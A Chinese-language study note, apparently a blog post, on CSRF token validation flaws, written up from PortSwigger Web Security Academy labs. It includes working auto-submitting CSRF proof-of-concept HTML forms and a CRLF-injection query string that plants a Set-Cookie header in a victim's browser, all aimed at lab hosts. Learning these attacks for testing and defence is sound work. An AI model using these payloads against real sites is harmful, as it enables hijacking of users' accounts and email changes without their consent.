CSRF 漏洞學習網站:What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy
CSRF Token 基本原理
CSRF Token 是服務端生成的唯一、隨機且不可預測的字符串,用于驗證客戶端合法校驗。
作用:防止攻擊者偽造用戶身份執行敏感操作(修改密碼、轉賬)。
傳輸方式:
-
將 CSRF Token 作為隱藏參數包含在 HTML 表單中:
<form name="change-email-form" action="/my-account/change-email" method="POST"><label>Email</label><input required type="email" name="email" value="example@normal-website.com"><input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u"><button class='button' type='submit'> Update email </button> </form> ? 提交時數據包: POST /my-account/change-email HTTP/1.1 Host: normal-website.com Content-Length: 70 Content-Type: application/x-www-form-urlencoded ? csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com ? ? # 每當用戶刷新頁面,服務端返回的嵌入在 HTML 里的 CSRF Token 都不一樣,確保他的唯一性。 # 在這種情況下,用戶構造表單時,構造不出 CSRF Token 的選項,導致攻擊失效。
-
將 CSRF Token 作為請求頭。
我們有時候在靶場爆破時,經常會看見 POST 參數里有一個 CSRF Token,但我們通常會直接忽略它直接進行爆破。因為 CSRF Token 通常不是發一次請求包刷新一次,通常是刷新一次頁面刷新一次 CSRF Token。然而爆破的過程中不存在刷新頁面得行為,所以 CSRF Token 保持不變就能驗證成功。
CSRF Token 驗證缺陷
CSRF 漏洞通常由于 CSRF 令牌驗證存在缺陷而導致的。
實驗:CSRF Token 的校驗取決于請求方法
有些應用程序 POST 方式和 GET 方式都支持。且只有 POST 時,才出現 CSRF Token。
操作:利用 GET 方式繞過 CSRF Token 校驗。
這里有實驗環境,我沒有貼出來。
實驗:CSRF Token 的校驗取決于參數是否存在
如果 CSRF Token 相關參數不存在,后端直接忽略 CSRF 校驗。
操作:直接刪掉整個 CSRF Token 相關參數。
這里有實驗環境,我沒有貼出來。
實驗:CSRF Token 沒有綁定到用戶會話
系統維護了一個全局有效的令牌池,在這個令牌池中的所有令牌都可用于驗證任何頁面。當用戶攜帶 CSRF Token 訪問頁面時,僅驗證 CSRF Token 是否存在于這個令牌池中,而不驗證令牌是否屬于當前用戶會話。
操作:受害者利用攻擊者的 CSRF Token 訪問敏感操作頁面。
案例:假設 wiener 是攻擊者,carlos 是受害者。
-
由于 CSRF Token 是一次性的,所以刷新一次就生成一次 CSRF Token。
-
不要點擊 Update email 按鈕或刷新,導致一次性 CSRF Token 被使用后被銷毀。
-
制作 payload,并放在攻擊者服務器:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0a0500a3044f74e280b66795005c0027.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos@anormal-user.net" /><input type="hidden" name="csrf" value="iENIDy1zjL1bGlnSkTPkzj0qJqZWJNVb" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body> </html>
-
另一個瀏覽器登錄 carlos 后,訪問攻擊者服務器,發現跳轉到如下頁面。
carlos 使用 wiener 的 CSRF Token:iENIDy1zjL1bGlnSkTPkzj0qJqZWJNVb 修改了郵件地址。
實驗:CSRF Token 與非會話 Cookie 綁定
某些情況下,可用戶 CSRF Token 綁定的并不是 Cookie 中的會話,而可能是一個其他值(如 Cookie 中的 CSRF Key)。當 Web 應用程序使用不同框架時(例如 Session 由 A 框架管理,而 CSRF Token 由框架 B 管理),這種情況下,很容易發生 CSRF Token 綁定的不是用戶 Session,而是由框架 B 生成的其他值(如:CSRF Key)。
操作:受害者利用攻擊者提供的 CSRF Key 和 CSRF Token 訪問敏感操作頁面。
案例:假設 wiener 是攻擊者,carlos 是受害者。
-
登錄 wiener 賬戶,抓包獲取到 CSRF Key 和 CSRF Token。
csrfKey=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB value=QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0
-
不要點擊 Update email 按鈕或刷新,導致一次性 CSRF Token 被使用后被銷毀。
-
制作 payload,執行如下操作。
-
第一次 CSRF 攻擊結合 CRLF 漏洞:將 Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB 設置為受害者 Cookie 中的 csrfKey。
-
第二次 CSRF 攻擊:利用 QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0 的 CSRF Token 訪問敏感操作頁面。
-
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos@a-montoya.net" /><input type="hidden" name="csrf" value="QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0" /><input type="submit" value="Submit request" /></form><!-- 利用此網站沒有 CSRF Token 保護的頁面注入 CSRF Key(第一次 CSRF 攻擊),之后提交表單(第二次 CSRF 攻擊) --><img src="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None" οnerrοr="document.forms[0].submit()"></body> </html>
-
另一個瀏覽器登錄 carlos 后,訪問攻擊者服務器。
實驗:CSRF Token 只在 Cookie 中復制(雙重提交場景)
雙重提交:
服務端生成 CSRF Token 后,將 Token 存儲在 Cookie 中(如:csrf=CSRF Token),同時將 CSRF_Token 嵌入表單中。
校驗 CSRF Token 時,僅判斷 Cookie 中的 CSRF Token 和 表單提交的 CSRF Token 是否一致,不驗證令牌是否由服務端生成或是否有效。
操作:受害者利用攻擊者生成任意 CSRF Token 訪問敏感頁面。
案例:
-
制作 payload,執行如下操作。
-
隨意生成一個 CSRF Token。
-
第一次 CSRF 攻擊結合 CRLF 漏洞:將生成的 CSRF Token 設置為受害者的 Cookie 中的 CSRF。
-
第二次 CSRF 攻擊:利用 CSRF Token 作為參數訪問敏感操作頁面。
-
CSRF Token 驗證:僅僅驗證 Cookie 中的 CSRF Token 和 表單提交的 CSRF Token 是否一致。
-
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos@a-montoya.net" /><input type="hidden" name="csrf" value="Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB" /><input type="submit" value="Submit request" /></form><!-- 利用此網站沒有 CSRF Token 保護的頁面注入 CSRF Key(第一次 CSRF 攻擊),之后提交表單(第二次 CSRF 攻擊) --><img src="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None" οnerrοr="document.forms[0].submit()"></body> </html>
"CSRF Token 與非會話 Cookie 綁定" 和 "CSRF Token 只在 Cookie 中復制(雙重提交場景)" 這兩個場景使用到了 CRLF 注入漏洞
get 參數:test%0d%0aSet-Cookie:%20csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None ? CRLF 注入后的 get 參數,導致 Set-Cookie 被當作請求頭解析: test\r\n Set-Cookie: csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB; SameSite=None
如上圖,左側請求中間響應,右側 CRLF 注入后的參數。